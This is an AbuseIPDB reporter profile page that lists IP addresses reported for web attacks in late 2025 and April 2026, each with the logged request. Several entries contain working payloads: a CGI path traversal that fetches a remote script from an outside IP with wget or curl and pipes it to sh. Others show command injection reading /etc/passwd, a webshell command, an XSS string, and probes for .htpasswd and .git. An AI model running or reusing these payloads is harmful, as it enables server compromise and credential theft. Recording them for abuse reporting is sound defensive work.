AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User TM joined AbuseIPDB in August 2019 and has reported 4,935 IP addresses.

Standing (weight) is good.

ACTIVE USER

IP	Date	Comment	Categories
🇺🇸 47.253.246.87	14 Apr 2026	/cgi-bin/../../../../../../../../../../bin/sh Parameter((wget --no-check-certificate -qO- https ... show more /cgi-bin/../../../../../../../../../../bin/sh Parameter((wget --no-check-certificate -qO- https://46.151.182.82/sh \|\| curl -sk https://46.151.182.82/sh) \| sh -s apache.selfrep) show less	Web App Attack Hacking
🇬🇧 82.24.64.32	13 Apr 2026	/cgi-bin/../../../../../../../../../../bin/sh Parameter((wget --no-check-certificate -qO- https://4 ... show more /cgi-bin/../../../../../../../../../../bin/sh Parameter((wget --no-check-certificate -qO- https://46.151.182.82/sh \|\| curl -sk https://46.151.182.82/sh) \| sh -s apache.selfrep) show less	Web App Attack Hacking
🇫🇷 51.103.82.36	10 Apr 2026	//wp-content/uploads/2021/02/index.php	Web App Attack Hacking
🇬🇧 185.38.148.2	10 Apr 2026	/cgi-bin/../../../../../../../../../../bin/sh Parameter((wget --no-check-certificate -qO- https://4 ... show more /cgi-bin/../../../../../../../../../../bin/sh Parameter((wget --no-check-certificate -qO- https://46.151.182.82/sh \|\| curl -sk https://46.151.182.82/sh) \| sh -s apache.selfrep) show less	Web App Attack Hacking
🇫🇷 167.86.96.161	09 Apr 2026	/cgi-bin/../../../../../../../../../../bin/sh	Web App Attack
🇺🇸 20.80.88.197	09 Apr 2026	/autodiscover/autodiscover.json?@zdi/Powershell	Web App Attack
🇺🇸 20.64.105.126	05 Dec 2025	GET /autodiscover/autodiscover.json?@zdi/Powershell HTTP/1.1	Hacking Web App Attack
🇺🇸 160.153.180.216	05 Dec 2025	POST /cgi-bin/../../../../../../../../../bin/sh HTTP/1.1	Hacking Web App Attack
🇺🇸 20.98.140.180	05 Dec 2025	Excessive crawling/scraping	Bad Web Bot
🇫🇷 84.247.174.47	04 Dec 2025	GET /local/moodle_webshell/webshell.php?action=exec&cmd=id HTTP/1.1	Hacking Web App Attack
🇺🇸 160.153.180.216	04 Dec 2025	GET /cgi-bin/../../../../../../../../../etc/hosts HTTP/1.1	Hacking Web App Attack
🇺🇸 172.174.236.9	04 Dec 2025	Excessive crawling/scraping	Bad Web Bot
🇻🇳 130.94.3.22	03 Dec 2025	GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User='&cat /etc/passwd&'&PW HTTP/1.1	Hacking Web App Attack
🇧🇷 155.2.219.223	03 Dec 2025	GET /ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os- ... show more GET /ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1,md5&enc-algo=aes-128-cbc,aes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("XSS")</script></svg>&domain=(empty_domain)&computer=computer HTTP/1.1 show less	Hacking Web App Attack
🇺🇸 172.202.117.213	03 Dec 2025	Excessive crawling/scraping	Bad Web Bot
🇳🇱 213.209.157.254	02 Dec 2025	GET /.git/index HTTP/1.1	Web App Attack
🇧🇷 155.2.219.119	02 Dec 2025	GET /.htpasswd HTTP/1.1	Hacking Web App Attack
🇺🇸 74.7.242.2	02 Dec 2025	Excessive crawling/scraping	Bad Web Bot
🇧🇷 45.171.255.203	01 Dec 2025	POST /cgi-bin/../../../../../../../../../../bin/sh HTTP/1.1	Hacking Web App Attack
🇳🇱 213.209.157.254	01 Dec 2025	GET /.git/index HTTP/1.1	Web App Attack
🇺🇸 135.237.125.92	01 Dec 2025	Excessive crawling/scraping	Bad Web Bot
🇱🇹 91.224.92.24	28 Nov 2025	POST /wp-login.php HTTP/1.1	Web App Attack
🇺🇸 20.83.167.30	28 Nov 2025	Excessive crawling/scraping	Bad Web Bot
🇺🇸 107.172.224.11	27 Nov 2025	POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php ... show more POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1 show less	Hacking Web App Attack
🇺🇸 74.249.184.13	27 Nov 2025	Excessive crawling/scraping	Bad Web Bot